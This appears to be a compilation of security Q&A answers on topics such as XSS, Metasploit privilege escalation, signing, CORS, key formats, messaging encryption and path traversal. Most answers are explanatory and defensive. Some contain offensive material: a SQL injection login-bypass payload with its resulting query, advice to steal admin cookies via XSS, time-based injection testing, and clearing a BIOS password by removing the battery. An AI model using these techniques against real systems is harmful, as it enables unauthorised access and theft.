These contexts can be nested, i.e. something like <a href=javascript:XXX> is a JavaScript context inside a URL context inside a HTML attribute.
On top of that you have encoding rules for characters (UTF-8, UTF-7, latin1, ...) which again can be context specific.
The context and encoding need to be known when constructing the output: while most template engines support proper HTML escaping they are often not aware of the  surrounding context and thus cannot apply the context specific escaping rules.
On top of that browsers can behave slightly different regarding escaping or encoding.
Apart from that you'll often find in grown code with no proper separation of logic and presentation that HTML fragments gets stored in the database and it is not always clear to the developer if a specific value is HTML clean already or need to be escaped.

And while there are some simple ways to protect against XSS by design (especially Content-Security-Policy) these only work with the newest browsers, have to explicitly enabled by the developer and are often only effective after large (and expensive) changes to the code (like removing inline script).

But still, there is a good chance to do it right if you have developers with the proper knowledge and are able to start from scratch using modern toolkits which already take care of XSS. Unfortunately in many cases there is legacy code which just needs to be kept working on. And development is usually done by developers which are not aware of XSS at all or don't know all the pitfalls.

And as long as web development is done in environments very sensitive to cost and time the chances are low that this will change. The aim in this environment is to make the code working at all in a short time and with small costs. Companies usually compete by features and time to market and not by who as the most secure product. And XSS protection currently just means additional costs with no obvious benefit for many managers.


Gained Privilege Escalation but no authority using Metasploit

Is the target using EMET? Specifically, the application whitelisting? Also, any sort of AV?

Also, maybe it's because you didn't set the session, which both hashdump and getsystem rely on. It might also stop you from getting an interactive shell!:

https://www.offensive-security.com/metasploit-unleashed/john-ripper/
https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/

Last, can you use a payload other than meterpreter (e.g. generated via msfvenom) instead?


How online document signing services guarantee non-repudiation?

Legal matters depend on jurisdiction, and there are a lot of those. However, in many of them, a signature is "legally-binding" if the signer really did it. When you sign, how you do it does not matter as far as legal binding is defined; putting your name at the end of an email is also a legally binding signature. Several cases have shown that an oral agreement with a handshake in Hollywood can also be legally binding.

The methods used to produce the signature matter not for defining whether the signature is legally binding, but for proving it. Roughly put, in case of contest, the purported signer will claim that he did not do it, while his opponent will be intent on demonstrating that he is a filthy liar and indeed "signed" whatever document is at the heart of the dispute. Depending on the technical details of the signature mechanism, judges will then consider that the burden of proof lies on the party who claims the signature validity, or on the party who disputes it, or somewhere in between.

In France, there is a (relatively new) notion of signature qualifiée, meaning that a system has been audited and certified and exhibits sufficiently robust security qualities (including use of asymmetric cryptography, but also appropriate authentication mechanisms for certificate issuance and similar things) that the burden of proof automatically lies on whoever claims that the signature is fake -- he may still win, but he will have to work it through.

None of this is really new; after all, we have long been "signing" documents by dropping ink smudges on paper, and these have been known for centuries to be relatively easy to counterfeit. What makes paper signatures tolerable in practice is that counterfeiting a signature is a felony which can have dire judicial consequences; and since such signatures occur in the mundane physical world, witnesses and other incriminating evidence are always a possibility looming over the future career of any fraudster. This works, in that it effectively deters signers from defaulting on their actual signatures, even though the pen is, from a cryptographic point of view, a really atrocious protocol. The same concepts can be applied to just about any replacement for that pen, even a Web browser in a tablet.


Securely embedding a widget submitting forms to our servers on third party websites?

The fact that you are embedding this as a widget is not all that relevant for most security aspects. Most attacks would be directed right at the endpoint, bypassing the form, widget and browser alltogether. For instance, you would need the captcha no matter if you make a widget or not, because spam is sent with automated scripts and not done through browsers.

You can, however, limit what origins can send requests to your endpoints from a browser. This would be done using CORS, only allowing some origins in your Access-Control-Allow-Origin header.

The trick to make this work is that the request must not be "simple", i.e. it must trigger a preflight. An ordinary form POST is simple, so that will not do it. You would have to change the verb, or require a specific header to be present in the request or something like that. See the link above for what is considered "simple" and what is not.

Do note, however, that it is the browser that enforces CORS policy. An attacker can still send whatever requests they want using e.g. CURL. Also note that even if you do not make a widget, anyone can just create a form that posts to your endpoint on their own webpage.


What does a FIPS validation certificate cover? Just software version or OS and hardware too?

They certified only the module described in the document.  They did not certify the ProLiant was FIPS compliant, and they did not certify that the Red Hat OS was FIPS compliant.  That just happened to be the machine and environment they used when they tested the compliance of the module.

According to FIPS 140-2 paragraph 10, they allow for the certification of a hardware module, a software module, or a combination of both.  It's up to the security system provider what they are requesting to certify.  But the only thing that is actually certified is what they write on the certificate.


Which key(s) are you trying to use with that library -- private or public, which that library calls Signing and Verifying -- or both?

ssh-keygen -t ecdsa -b $n -m pem (in OpenSSH 7.8 up) with empty password generates the private key file in OpenSSL-compatible unencrypted format (with header -----BEGIN EC PRIVATE KEY-----) which that library wants; it generates the public key file in OpenSSH's own format which is completely unlike anything OpenSSL uses or that library wants. If you (mistakenly?) generate (or convert) the private key file in OpenSSH 'new' format (default since 7.8 and before that -o, with header -----BEGIN OPENSSH PRIVATE KEY----) you can convert it to OpenSSL form by 'changing' the password (possibly from empty, definitely to empty) with ssh-keygen -p -m pem [-f file] (but NOT -e). You can use -P old and -N new on the commandline if you don't want to be prompted for the passwords.

ssh-keygen -e [-m various] operates on the public key, in either OpenSSH format or several other formats. In particular -m pem for a public key means an RSA-only format defined by PKCS1 and used by OpenSSL briefly long long ago. OpenSSL in this century uses the generic format defined by X.509 "SubjectPublicKeyInfo", more conveniently available in rfc 5280 and for ECDSA specifically rfc 5480, which currently works for RSA DSA and ECDSA though not Ed25519, and which ssh-keygen bizarrely calls -m pkcs8 even though PKCS8 is actually a quite different standard for private keys. (Recent versions of OpenSSH discourage use of DSA in SSH, but as of now ssh-keygen still supports keys for it.)

Cross-similar https://superuser.com/questions/1470852/differences-between-ssh-keygen-private-keys-and-libressls and https://stackoverflow.com/questions/55733451/what-is-the-difference-between-rsa-private-key-with-headers-and-openssh-private and more


Using RSA_verify to verify a signature, why the first parameter?

From the documentation you can see that the type is important in RSA_sign because different kinds of output are used depending on the type:

  type denotes the message digest algorithm that was used to generate m. It usually is one of NID_sha1, NID_ripemd160 and NID_md5; see objects for details. If type is NID_md5_sha1, an SSL signature (MD5 and SHA1 message digests with PKCS #1 padding and no algorithm identifier) is created.

Similar the type needs to be known when verifying the signature because the implementation needs to know which format the signature is in order to parse it correctly. If you look at the source code you see special handling for NID_md5_sha1 and NID_mdc2.


What are the alternatives to ECDSA for an authentication protocol?

In answer to question 2, you could use RSA instead for the signature algorithm. While people are moving to ECDSA due to it being faster, there's nothing inherently wrong with RSA still.


You can't really keep your IP private if you're using a torrent on the open internet.  The reason for this is the way the torrent protocol works.  You aren't downloading directly from the server; instead, you are downloading from other downloaders.  In order to get a file from said downloader, you must have some way to contact them - that is, an IP address or domain name.

There may be a possibility to use a privacy network such as TOR to avoid having your IP address found, but I don't know how to do it.


Can I use WhatsApp to securely send public key, symmetric key and private key?

E2EE doesn't protect data at rest. Unlike Signal, WhatsApp doesn't encrypt internal message database. A forensic analysis can decrypt deleted messages if Data Encryption Keys which encrypt user's and application data are compromised. It seems to be impractical but that's what spyware agencies are doing now.
According to this research paper: Data Security on Mobile Devices: Current State of the Art, Open Problems, and Proposed Solutions (pdf) which is also covered by WIRED: How Law Enforcement Gets Around Your Smartphone's Encryption talks about design flaw in data encryption of android and iOS. One of its author has briefly explained it for iOS, although the method of exploitation is same for android as well.
Android and iOS keep data encryption keys in memory once a user unlocks its device first time since last reboot. This is called After First Unlock (AFU) state. Keys remain in memory even if the device is relocked again. This is intended this way to maintain user experience and to keep user focused app functional at locked screen which include messaging apps, contacts, songs, notes, reminders, etc. Most of the time your device remains in AFU state. If you reboot your device but don't unlock it yet, your device state is in Before First Unlock (BFU) state. In BFU state, user and app data are still encrypted. To decrypt them, your device prompts to unlock screen using your screen lock password which is then fed to key derivation to derive a Key Encryption Key that decrypts data encryption keys. This is why biometric to unlock screen doesn't work first time after reboot.
Once data encryption keys are extracted from memory physically that is directly tampering with SoC without disconnecting the battery or by using zero day exploits, spyware agencies can decrypt subset of the data. Keys can be per-file basis but these are derived from data encryption keys which means even if a file has been deleted, its key can be re-derived and the deleted file itself can be recovered from NAND flash.
WhatsApp daily chat backup encrypts message database with AES-GCM-256 key which is known to WhatsApp service (see How can WhatsApp restore local or Google Drive Backups?). Although, the chat backup is not possessed by WhatsApp service but Google Drive does if Google Drive backup is enabled which most users do. There you have no control of how it is used by spyware agencies.
Sending passwords through Signal is somewhat safer than WhatsApp but not entirely. Signal encrypts the message database with database encryption key which is itself encrypted with a key stored in Trusted Execution Environment (TEE) (android 7+). Its message database has page size of 4096 bytes and IV of each page is stored in page footer. Modifying an existing page such as by deleting a message changes the IV and the entire page is reencrypted using database encryption key. If the IV of that page has been changed and possibly overwritten by new IV, there's no way of recovering a deleted message.
Uninstalling Signal altogether also clears the key in TEE which makes its database encryption key undecryptable and so does its data. But the above design flaw also affects Signal's existing messages. As database encryption key must be in memory to service messages at locked screen, it can be extracted. That's how FBI might be Hacking Into Private Signal Messages On A Locked iPhone.
Also, apps with accessibility permission can see the content on your screen which is the easiest way to compromise messages if the app that you trust is actually malicious. Google and Apple are very strict about what apps on their app stores can have code to request this permission from the user.
As for private keys, I don't believe it should be even available to you for sharing.


Is there any methods available other than brute force and dictionary attacks?

To attack a black-box (i.e. you don't have access to the hashes), then you will be mostly limited Brute-Force and Dictionary Attacks. If you manage to get the hashes in question, then you can also perform a Rainbow Table Attack.

There is also an entire group of attacks known as Side Channel Attacks. However these are often very specific to an implementation, rather than a general attack.


Generate one CSR for two Windows servers

This depends if you use a Apache or IIS webserver.

If you use apache, just copy the private and the public key on the second server and configure it like described here http://tud.at/programm/apache-ssl-win32-howto.php3

If you use IIS, I assume you have to export the certificate including the private key via the windows certificat store. Have a look here http://nl.globalsign.com/en/support/ssl+certificates/microsoft/all+windows+servers/export+private+key+or+certificate/


Is it possible for a third party to sniff data off the line to an ISP and determine what the user is doing?

Theoretically yes. In practice, it is a bit complex for amateurs.

In Older Times, when people used dialup modems, plugging on the line was just a matter of a pair of crocodile clips and hooking another modem, tuned to be "receive only". Nowadays, people use ADSL, coaxial cable or optic fiber, and the much higher data rates mean that inexpert plugging will disrupt the connection, making it unsuitable for passive eavesdropping. While the "physical conditions" have not changed (the spy must still reach the wire, which is usually not very hard to do discreetly in urban environments), the price of involved hardware and the level of expertise have increased.

(Edit: also, some ADSL providers use PPTP tunneling with encryption; I have seen it done in France. The apprentice spy would have to break the encryption layer as well, which would involve an even trickier man-in-the-middle attack on the physical line.)

Law enforcement agencies and other official organizations find it much easier to add their hardware directly on the ISP premises. ISP, as a rule, collaborate with authorities since they need their continued benevolence with regards to regulations on telecommunications; and that's a legal obligation anyway in most countries (yes, including whatever country you may think of as "the most democratic country in the world").

If you want to evade such surveillance, one possible method may be Tor. There can always be monitoring somewhere (if only directly on the network provider for the server) so Tor tries to hide who is doing the browsing. Also, any site which uses HTTPS provides end-to-end security (subject to the usual caveats of server certification and human user ability to dismiss warning popups): eavesdropper can know which site you contact, but not what you do on it (unless the server rats on you, which is always a possibility, or your home machine is bugged, which is no less plausible).


You need to use a crack method that is designed for SCRAM-SHA-256. If jtr or hashcat do not have this (and it looks like they don't at this point in time), then you cannot use those tools.
Hashcat is working on this for -m 24200. You might be able to find a dev version that includes this.


Why isn't its mandatory for the keyservers to be only available via HTTPS?

Need for HTTPS for PGP keys?

For PGP, we already have a PKI mechanism build in, called the web of trust, so we don't necessarily need HTTPS keyserver.

Even if the key servers did serve their keys over HTTPS, you couldn't be sure of the correctness of the keys, as anyone can submit arbitrary keys to the server. Serving the untrusted keys over HTTPS wouldn't make them trusted all of a sudden.

Need for HTTPS in general?

So there is no reason why PGP keys specifically should be served over HTTPS.

There are still valid arguments for HTTPS though, mainly privacy and integrity related. See for example Let's Encrypt Everything.

Why don't the keyservers force HTTPS?

Most of those pages either do not support HTTPS or do not have a valid certificate, so forcing all traffic over HTTPS would not be a good idea, as it would make them less accessable.

But why don't they support HTTPS? Probably because it is too much trouble for them to set up. Sure, Let's Encrypt provides free certificates, but somebody still has to set them up.


Ultimately your xargs solution still results in the bitcoin-cli being run with the password as a command line argument. Your solution successfully prevents the password from ending up in your ~/.bash_history file. However, it doesn't prevent the password from showing up in your system's process list while the command is running. Any user on your system running "ps -ef" at the right moment (such as by spamming the command) can see the password.

On a standard single user desktop system, this isn't a big concern. You can disable the ability for users to list other users' processes by following the instructions at https://unix.stackexchange.com/a/244357/94543.

Another possibility to consider is that some system utilities may record the active process list. If you configure an intrusion detection system, then it may record every process started and their arguments. If a program on your computer crashes, a crash logging utility may include a list of your system's running processes in the log. (That would be pretty bad luck to have that run in the same moment that bitcoin-cli is, but consider the case where your system is running low on memory, causing bitcoin-cli to hang and also causing another program to crash, triggering a crash logger...)

The best and foolproof solution would be if bitcoin-cli had a flag to allow you to pass it the password interactively or directly over standard input. And conveniently, it has the -stdin option allowing you to do that:

bitcoin-cli -stdin walletpassphrase


Key reinstallation attack how does it work without a pre-shared key?

To the main question: It doesn't, to do the channel-based MITM you need to have the PSK, as you said, this in order to be able to get the 3rd message of the 4-way handshake.

To your first and last assumption: Yes you're correct!

As this question answers in the Q&A

If an attacker can do a man-in-the-middle attack, why can't they just decrypt all the data?

  As mentioned in the demonstration, the attacker first obtains a man-in-the-middle (MitM) position between the victim and the real Wi-Fi network (called a channel-based MitM position). However, this MitM position does not enable the attacker to decrypt packets

Also in the paper (PDF) section 3.2  The Key Reinstallation Attack

  A second minor obstacle is that we must obtain a MitM position between the client and AP.


X windows security: VNC and X server vs xpra

The "normal" way to use remote X11 is to have the X11 server run not on your server, but on the machine which is physically in front of the user. Then use ssh to do X11 forwarding, so that the application on your server talks to the X11 server that runs on the client machine.

(Yes, the terminology is a bit confusing. "Your server" is the machine you are talking about, and the "X11 server" is the software that manages graphical display, called "server" because it waits for applications -- the "clients" -- to talk to it.)

I understand that you also want to have a sort of "mobility feature" that allows roaming users to disconnect and reconnect from several client machines without closing application, in which case the classic model is not appropriate.

The usual perceived security issues with X11 servers is that they run with high privileges (because they must access the graphic hardware) and they make use of components whose security is often considered as flaky (the drivers for the graphic hardware). Xpra uses Xdummy, which removes both problems: it does not actually talk to real hardware (so no drivers in the loop), and it does not run as root but under the identity of the calling user. In that sense, I would deem Xpra to be "better" for security than running a plain local Xserver exported through VNC.

(Conceptually you could run Xdummy with VNC, but that's basically reinventing Xpra.)

I also expect Xpra to make things much easier, compared to a Xserver+VNC setup, when it comes to:

supporting several users simultaneously;
supporting various screen sizes on the client side.

On the cons side, Xpra is under very active development, which, while ensuring good support, also means that deployed code has not "stood the test of time". Usually, for best security, you want to use software that is well supported but has nonetheless stabilized a bit. This is not a big problem, though.


How to prevent Firefox and Chrome from opening ports in the firewall?

One option would be to use Windows access controls to prevent changes to the firewall rules. If you first set the rule to Disabled (or simply deleted it), and then changed the ACLs on the firewall rule storage, it should be possible to avoid the rules re-appearing. While any administrator account could overwrite or bypass your modified ACL, it is highly unlikely that an automated installer would endeavor to do so, and consequently the attempts to change the firewall would simply get "Access Denied".

The good news is that the firewall rules are stored in a predictable location, HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules. They are even entirely human-readable, aside from their names, which are GUIDs; the actual rules are pipe-delimited English text (I am now curious what happens if I make a firewall rule with a pipe character in its description).

The bad news is that the rules are stored as values on a single key (the one given above), and registry ACLs are only available at the granularity of keys. This means that if you deny an account write access to that key, you deny that account the ability to change any firewall rule. This could impair functionality in a number of ways; in the extreme, you would need to manually change the ACL on that key before making any firewall rule changes yourself.

The ideal way to do it would be to use a Deny access control entry for the account that you want to block. Deny entries take precedence over Allow entries for a given specificity level (if an account is both allowed and denied an action, deny wins), and specific (account) similarly wins out over generic (Group). Thus, you can add a Deny entry for a specific account to block that account, without also doing something awkward like blocking the entire Administrators group. Unfortunately, all four Mozilla- or Google-related services installed on my machine (MozillaMaintenance, GoogleChromeElevationService, gupdate, and gupdatem) are configured to run as LocalSystem (a.k.a. SYSTEM). Blocking SYSTEM write access to that key might not be disastrous - in fact, blocking SYSTEM from writing to select registry keys is a common way to keep an admin from making specific changes to a machine via Group Policy - but it would probably break some things. If you end up needing to block actions which are elevated via normal UAC you would need to block either yourself or the Administrators group, and that's even more awkward than blocking SYSTEM.

A solution would be to create a new admin-level service account on the machine, and then modify the Google & Mozilla services to use that account and block that specific account at the registry key. This is not trivial - especially if the services rely on any of the special permissions of being SYSTEM, which by default even the Administrator account does not get all of (though this can, of course, be changed) - but it could be done.

You could also try removing the browsers (and any associated services, manually if needed) and re-installing them using unprivileged installers. This would limit their installer blast radius to your local account, and give them no way to elevate unprompted. Firefox supports portable installs, and Chrome actually used to by default install to your user profile (not your Program Files directory) using a per-user install, so in theory it should be possible to install either one without giving the installer admin rights. Nothing without admin rights can create a way to get admin rights (without a UAC prompt or an EoP vulnerability), so they would not have the ability to silently mess with your firewall, and they would probably not even try (after all, a program installed without Admin can be updated without Admin, and a non-Admin can't change the firewall).


You can use UNION SELECT to supply any value as a password:

noone' UNION SELECT 'pwd

The query will become

SELECT password FROM auth WHERE login = 'noone' UNION SELECT 'pwd'

Make sure to submit the same password via POST


Apache2 Logs, need help in identifying if it is an attack or not

It might be an attack as well as the preparation for an attack.
Most likely one tries to find out about installed wordpress plugins or (depending on your apache/nginx config) just tries various default names for files (calles website enumeration) to figure out what you are doing. This might lead to some attempt to actually breach the site or he may just collect data. This article shows what happens if you do this on govt sites ;). If it is an actual attempt the attacker probably collected a lot of exploits, set some dependencies (like './cmv.php must exist and return...') and tries to execute them. (You could tell from more detailed access-logs.)

Anyway. If your access logs were more precise you could distinguish those two options but chances are you don't need to. This happens to most of the public IPs that have port 80 or 443 exposed on a daily basis because there is a lot of automated scanning and exploitation going on. If your security basis is working well (such as updates, maybe ModSecurity and so on) it's nothing to really worry about.


Can an empty, but used, usb flash drive that has NO firmware within it be infected with malware?

Just to combine the several commented replies and add my own view:

There is NO usb device without Firmware (even if you call it something else).
There are usb devices where you can NOT update the firmware (it’s on a rom chip of worm memory chip).
-There are more ways than just firmware to hide code.
The firmware on the usb chip of the flash drive has to hold Atleast the following :manufacturer id. Device id. Device version. Usb version, device type is. It must also interact with the host controller in the computer (which means running a program which means there is a firmware)
there are several different type of malware and malware delivery mechanisms. You can not assume any of them in general.
data can even be stored in “empty space” (especially on solid state storage) since malware can ignore normal operation limitations.
the rep from SANDISK does not know what he’s/she’s talking about if he / she really think there is no firmware. There is no user upgradable firmware maybe but that is not the same as no firmware.

As a final note. We are not doubting the rep said those things to you. We are doubting the validity of what the rep said. (Because it’s wrong technically)
Thanks to the following people for there amazing responses in comments:

Coderxyz
CriticalSYS
schroeder
ThoriumBR


Take out the CMOS battery, which is on the inside of the computer on the mother board. Wait for 20-30 seconds (less time may be needed, but the exact time varies). This is normally a button battery. Put the battery back, boot, and there should be no more BIOS password.


I saw in that article and in many other places (including security.stackexchange), that if the user installs a certificate of an unknown 3rd party. That 3rd party can exercise MitM attacks in other apps of the device.

If you install a certificate for a certificate agency (not a certificate for a site) then you effectively trust the certificate agency fully, i.e. allow it to sign certificates for any other site - even for sites where other agencies have already issued certificates. And this allows man in the middle attacks.

This would be similar if you have a new friend and you trust this friend fully. If then some shady guy comes and claims to be your bank and presents a document signed by your friend which attests this claim, then you would believe this guy just because you trust your friend fully. Thus it is possible for someone to impersonate someone else with the help of your friend. And this make man in the middle attacks possible, where the man in the middle impersonates the real destination.


Best practice in securing a web server and an offsite worker

Whether a VPN is necessary in this scenario would largely depend on the nature of the traffic between the worker and the web server and whether you're worried about Man-In-The-Middle(MITM) attacks.

A VPN could add two potential benefits to your security here.  Firstly it should encrypt the data between the endpoints.  This is obviously a security benefit if the traffic between the two endpoints is unencrypted by default (e.g. over HTTP). However if the data is already encrypted, then there may be a limited benefit here.

The other benefit could be authentication of the endpoints.  At the moment you're restricting by source IP address using a firewall, but there are always potential risks (over an untrusted network like the Internet) that someone could place themselves "between" the endpoints as a Man-In-The-Middle.  A proprerly configured VPN should include authentication of the endpoints which should preclude this kind of attack.  However it could be that the application traffic already handles this (e.g. HTTPS with trusted certificates) so the VPN might not add much.

So there are potential benefits, depending on the nature of the application traffic.


Is there any list of vulnerabilities and their signatures?

The NVD contains the list of known versions of the software that are vulnerable to the issue, combined witha database of installed software versions, this can be used to identify vulnerable softwares.


Well, it depends...

OAuth is a protocol for creating a session.   OAuth bearer tokens are transmitted by the client using the Authentication: Bearer HTTP header.   This is just a cryptographic nonce that is transmitted via an http header element,  which in effect is (almost) identical to the cookie http header element.

How does it differ?  Well, the rules for cookies are a little different than other header elements.  The cookie is maintained by the browser,  and is attached to every request for which the cookie belongs.   This is the reason why Cross-Site Request Forgery or session riding attacks work.  The browser doesn't care where the request came from,  it will attach the cookie based on the destination of the request.

OAuth Bearer tokens are a little different.  These tokens are usually managed by the client (JavaScript, Flash, or even some middleware application).  If your application uses JavaScript to manage the authentication bearer token,  then this value will not be automatically applied by the browser, and therefore can double as a CSRF token, which is neat.

However, if you are using OAuth for middleware, then CSRF doesn't come into play, so it doesn't matter where it shows up in the header.


How to protect the code of Windows applications against path traversal?

Paths in Windows are relatively complex. In particular, Microsoft has a habit of inventing new features, so even if your HTTP server is really protected against path traversal today, it may become vulnerable under next version of Windows, possibly even a small update.

Right now, your are using "blacklist-thinking": you are trying to enumerate all the "bad" constructions, and specifically detect them. Blacklists are known to be fragile because it is very hard to be exhaustive, and then to remain exhaustive. You should use whitelist-thinking, i.e. define a syntax for allowed paths and exclude everything else.

For instance, define that an allowed path consists in a sequence of components separated by slash characters ("/", not "\"), with the following rules:

A component contains only letters, digits, dashes ("-"), underscores ("_") or dots (".").
A dot may not appear as first or last character in a component.
There shall not be any two consecutive dots in a component.
A component contains at least one character, and at most 64 characters (arbitrary limit).
No two consecutive slashes may appear in a path.
A path does not begin with a slash.
A path is not empty.
The total length of a path shall not exceed 250 characters.

All these rules are easy to enforce programmatically. And they guarantee a "clean local path" that you can send to fopen(). Note that most Windows functions are perfectly happy with the "/" as separator, but you may still want to replace all slashes by backslashes (after checking all the rules above, of course).


How does Dropbox actually protect against sharing copyrighted content?

The actual processes are not publicly known, however they do maintain an official Tech Blog which gives some insight to the internals of Dropbox. For instance, their post on Streaming File Synchronization (July 2014) provides a high-level overview of the "Dropbox File System" which dictates the handling of all user data in a highly efficient and reliable manner.

File System

The post explains the upload process pretty nicely, and they confirm that files are fragmented into as few blocks of length <= 4MB as possible to be stored in that form on their block store. They are progressively hashed (SHA-256) as they are isolated, and the hashes are used to tie together blocks in Dropbox's block store (blockserver). Associations between hashes are persisted in the meta store (metaserver) and feel a bit like directory listings.

Hashes act as metadata for the file blocks (all length <= 4MB) which is used by Dropbox to determine whether or not it's necessary for the client to transmit that block as a fresh addition to their servers. Whether or not the client needs to upload any blocks to Dropbox's blockservers will be stated in a response from their metaservers when the client specifies the block makeup of a particular file.

Uploading Data

For all intents and purposes of this answer, you can just consider "Server" to be one entity acting as both a metaserver and blockserver; both are under the control of Dropbox anyway. Here's what an upload might look like between a Server and some Client:

Client: SET "/video.avi" [h1, h2, h3, h4] ---> Server # cmd: try set record
Server: GET [h1, h3, h4] --------------------> Client # err: need h1/h3/h4; h2 exists
Client: ADD [h1, h3, h4], [b1, b3, b4] ------> Server # cmd: add blocks h1/h3/h4
Server: ACK ---------------------------------> Client # ack: blocks stored
Client: SET "/video.avi" [h1, h3, h4] -------> Server # cmd: retry set record
Server: ACK ---------------------------------> Client # ack: record defined

Simplified/changed a lot, omitted details not relevant to question. Intentional. Actual proto form on blog.

Detecting Content

Data blocks and their corresponding meta/hash values are held in separate stores from one another. If hash values are known ahead of time (e.g. given a massive database of DMCA-encumbered files and their constituent blocks) and they are only checking against the metastore entries, then I suppose they could carry out automated detection without looking at your files. Would be a fairly obscene stretch of the English language if that's what was meant.

I don't think it's unlikely that a considerable portion of maximum-length blocks (in this case 4MB blocks) of original and actively copyright-protected data would persist in an altered copy of protected material, even if changes are made to some portions of the file to the extent of obscuring its visual and/or audible identity from the vantage point of a human observer.

I believe Dropbox may actually handle video differently (says it on their blog, I think), but I'm not sure if they re-encode media to a standard type when played in the browser (if so, guess it would be another opening to accidentally see things they're not supposed to look at).


Could a session id be considered as a valid factor in 2FA?

The "something you...." terms are intended to illustrate by example what the underlying concepts are. It would be wrong to infer a reverse relationship; the examples do not define the concept.

Usually when we are talking about session ids then we're talking about HTTP sessions. Here the session id has 2 functions:

it acts as surrogate credentials in place of supplying your username and password with every request
it provides a means for the application to maintain state (e.g. the contents of your shopping basket) between requests

Since it acts as a surrogate for the (username and) password rather than alongside it, it is not 2 factor authentication.

Authentication data is supplied by the party seeking to be authenticated - however a session id is generated by the service and reflected by the client. It is therefore not authentication data. Allowing clients to choose their own session id creates security vulnerabilities.

That's not to say that persistent data stored on the browser could not be used as a second factor ("device registration") but this should be emplaced independently of the users application session.


Extracting data from db with time based SQL injections

Does the connection time out at approx. 5 seconds? If so, then it is very likely vulnerable. You could verify by then modifying it to 3 seconds, and seeing if it responds in approx. 3 seconds.
If the connection takes longer than 5 seconds, it is possible this is a very strange SQL query, or there is a WAF or some other functionality detecting blacklisted keywords. They may be throwing you a red herring! It's happened to me before in this exact situation during a manual engagement.


Debit Card was used fraduentely, Should I report an incident to the websites that stored my card?

Keep in mind this is how many companies find out they were breached so please do report it even though you are not sure which of the three it was. Companies do occasionally get calls like this, they are rare but generally very well received.

Reporting the information may be very helpful to the timing of their incident response team. Some companies may choose to ignore individual reports by themselves but if they more than one report within a short period of time it may cause them to trigger an internal investigation. Some companies are more proactive to this type of reporting than others.

The key here is timeliness. The faster you let them know the faster their incident response team will be engaged and in theory the faster other cards can be deactivated to reduce overall damage. It's also helpful to give them all the details you have of the fraudulent transaction.

Additionally, this is helpful because the faster compromised cards can be deactivated the less money will go towards funding the criminal organization behind it. So you're act of reporting this may help protect others from damage short-term and long-term.

Side Note: Don't sign an NDA or anything if they ask you to. Ninety-nine percent of companies won't ask this but if it comes up simply say no, it's not to your advantage especially when you are simply trying to be helpful.


Difference between Amplification and Reflection Attack?

TL;DR: amplification attack is a reflection attack where the reply is larger than the the request.

Reflection attack is if the reply is send back to the claimed origin of the request. With a spoofed source IP the attacker can make the reflecting server send the reply to the selected victim.

Amplification is if the reply is larger then the request. An amplification attack is a kind of reflection attack, where the attacker sends a small request with a spoofed source IP address and then this results in a big (i.e. amplified) reply to the claimed source of the request, i.e. the victim. By using this amplification an attacker can use few resources to attack a large target - the higher the amplification factor is the less resources are needed by the attacker.

A currently widely discussed amplification attack is using an insecure setup of memcached and due to the protocol spoken by memcached in can result in an amplification factor of about 50.000. See Memcrashed - Major amplification attacks from UDP port 11211 for more details. Other protocols used in the past for amplification attacks were for example NTP or DNS.


Why can't I delete the default AWS security group?

The default security group is created when a VPC is created.
By default, it allows ALL traffic from instances that belong to that security group and all incoming traffic. The fact that your default group doesn't have any rule suggests that you deleted the rule.
AWS doesn't allow deleting default security group because many API call/CLI command allow omitting the security group, so AWS needs a default security group to place instances with an unassigned security group.
See Default security group for your VPC in the VPC documentation.


Web Application Firewall with based on an external decision to detect anomaly

This may not be a popular opinion (cue comments), but I am not a fan of Machine Learning being used in the security industry.

I'm always skeptical when it seems like the approach is "We don't know how to solve this problem. I know! Let's throw ML at it!!". There are of course niches within security where ML seems to be doing ok-ish, for example detecting malware and financial fraud, but even there, it's used with caution.

Remember that ML is part of the field of statistics: the science of detecting average-case behaviour. In ML you worry about telling the average dog apart from the average cat, and don't worry about the 5% that it gets wrong. Meanwhile security is the field of detecting worst-case adversarial behaviour. In security your system needs to continue being strong even if the attacker can reverse-engineer it and provide worst-case input.

Now consider the paper: "EXPLAINING AND HARNESSING ADVERSARIAL EXAMPLES" by Goodfellow, Shlens, and Szegedy:

  Several machine learning models, including neural networks, consistently misclassify
  adversarial examples—inputs formed by applying small but intentionally
  worst-case perturbations to examples from the dataset, such that the perturbed input
  results in the model outputting an incorrect answer with high confidence.

Here is the core graphic from that paper:

If it's that easy to "hack" an image classifier (arguably the best-researched subfield of ML), then what makes you think you can build an ML-based WAF filter that performs any better against adversarial hackers?

TL;DR: This has been my rant that ML shouldn't have a place in security unless it's by people who really really know what they are doing.


How to use XSS vulnerability to read file on server?

No. XSS makes it possible to run Javascript in a browser of another user. This makes it possible to do request on behalf of that user. Since the code is only run in the browser, you cannot use PHP code.

If you have XSS and you want to run code on the server, the best approach would be to steal the cookies of a logged in administrator using XSS, and use the admin interface to further gain access to the server. Stealing cookies with XSS does not work if the cookie is marked as httponly, because then you can't read the cookie with Javascript.


GnuPG expiration date differs between public and secret key

This must not actually be the problem you encounter, but is a not too unlikely scenario: is it possible you changed the expiration date using GnuPG 2.1? Starting with GnuPG 2.1, private keys are also stored in the public keyring, so GnuPG 1 and 2.0 would read the unmodified private key with the old expiry date from the old private keyring.


What is a simplest "Crash an application" demonstration to get access to a system?

Typically buffer overflows are good - it is generally easier to make one give a crash result than a useful compromise result.

And in general looking at the security advisories lists will be your best bet for current exploits that will crash a server, app or platform.


If a port is closed how come you can still use it?

What does it actually mean for a port to be closed or stealthed?

Ports are usually talked about in terms of TCP and UDP. When speaking of closed ports, the system replies back with a message saying there is nothing there. For UDP and in theory any other protocol regardless of the concept of ports, a destination unreachable message would be generated if there were no service attached the port. TCP is different; because of it's stateful nature and control flags, it is able to indicate a closed port on its own by sending a packet back with the reset ("RST") bit set.

A stealthed port means one where a firewall rule dropped the packet without replying.

  Also are the terms "blocked" and "closed" synonyms in this context?

Blocked ports generally refer to when situations where even if an application is listening on the port, the operating system or some upstream device (firewall) refuse to pass traffic and send messages indicating closure. From an outside perspective, this can be determined if the filtering happens upstream due to a different source address or number of hops taken by the packet. From an inside perspective, one notices that no incoming connections can be made.

  According to tests I've run all my ports (tested) are stealthed but clearly I can still use the Internet.

A stateless firewall can reject new incoming TCP connections by preventing any inbound traffic that only has a SYN flag set. A stateful firewall can track whether any communication over that socket was originated from inside the network or from the outside for any protocol it is aware of which universally includes TCP and UDP.

